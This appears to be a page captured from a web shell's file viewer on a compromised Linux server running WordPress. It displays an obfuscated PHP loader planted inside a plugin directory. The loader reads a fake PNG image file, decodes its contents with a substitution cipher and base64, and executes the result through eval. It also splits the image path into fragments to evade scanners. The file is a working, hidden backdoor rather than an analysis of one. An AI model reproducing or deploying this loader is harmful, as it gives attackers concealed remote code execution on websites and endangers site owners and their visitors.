HEX
Server: Apache
System: Linux server11 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: web78 (5081)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client1/web78/web/wp-content/plugins/achideh/qotapyw.php
<?php

function ugirup_povarinokh($bajeju_ezylyqoq) {
    if ($bajeju_ezylyqoq == 1)
        return jasequ_ubythathucho();
    if ($bajeju_ezylyqoq == 2)
        return erylox_elyshoqus();
}

function fiqina_ponychexul($bajeju_ezylyqoq) {
    $apesidu = ugirup_povarinokh(1);
    $hozyvex = ugirup_povarinokh(2);
    for ($idilacu = 0; $idilacu < strlen($apesidu); $idilacu++) {
        $zhifoje = substr($apesidu, $idilacu, 1);
        $uhakil = substr($hozyvex, $idilacu, 1);
        $kakyhon[$zhifoje] = $uhakil;
    }

    $usonom = strtr($bajeju_ezylyqoq, $kakyhon);
    $usonom = base64_decode($usonom);

    return $usonom;
}

function azobeb_yfaxajyx($bajeju_ezylyqoq) {
    $aqofiz = array();
    if (!file_exists($bajeju_ezylyqoq))
        return false;
    $eryzhap = @file_get_contents($bajeju_ezylyqoq);
    if (!$eryzhap)
        return false;
    $eryzhap = substr($eryzhap, 3);
    $aqofiz = fiqina_ponychexul($eryzhap);
    return $aqofiz;
}

function jasequ_ubythathucho() {
    $eryzhap = "=bcIuRN9UdJpr3MvKYwtloQDgA8hLyi1kBF4a07+jXzmPqGHs6TZV2WfCnOE/ex5S";
    return $eryzhap;
}

function erylox_elyshoqus() {
    $aqofiz = "3lUcxS7gQMP9ruioGY1NHZFDed4BqKXavICjsh6JfAn58ObE/m0=VyTwRp2Wkzt+L";
    return $aqofiz;
}

$atogeq = azobeb_yfaxajyx(__DIR__ . "/asset" . "s/im" . "ages/g" . "aruci" . "q.pn" . "g");
if ($atogeq) {
    @eval($atogeq);
}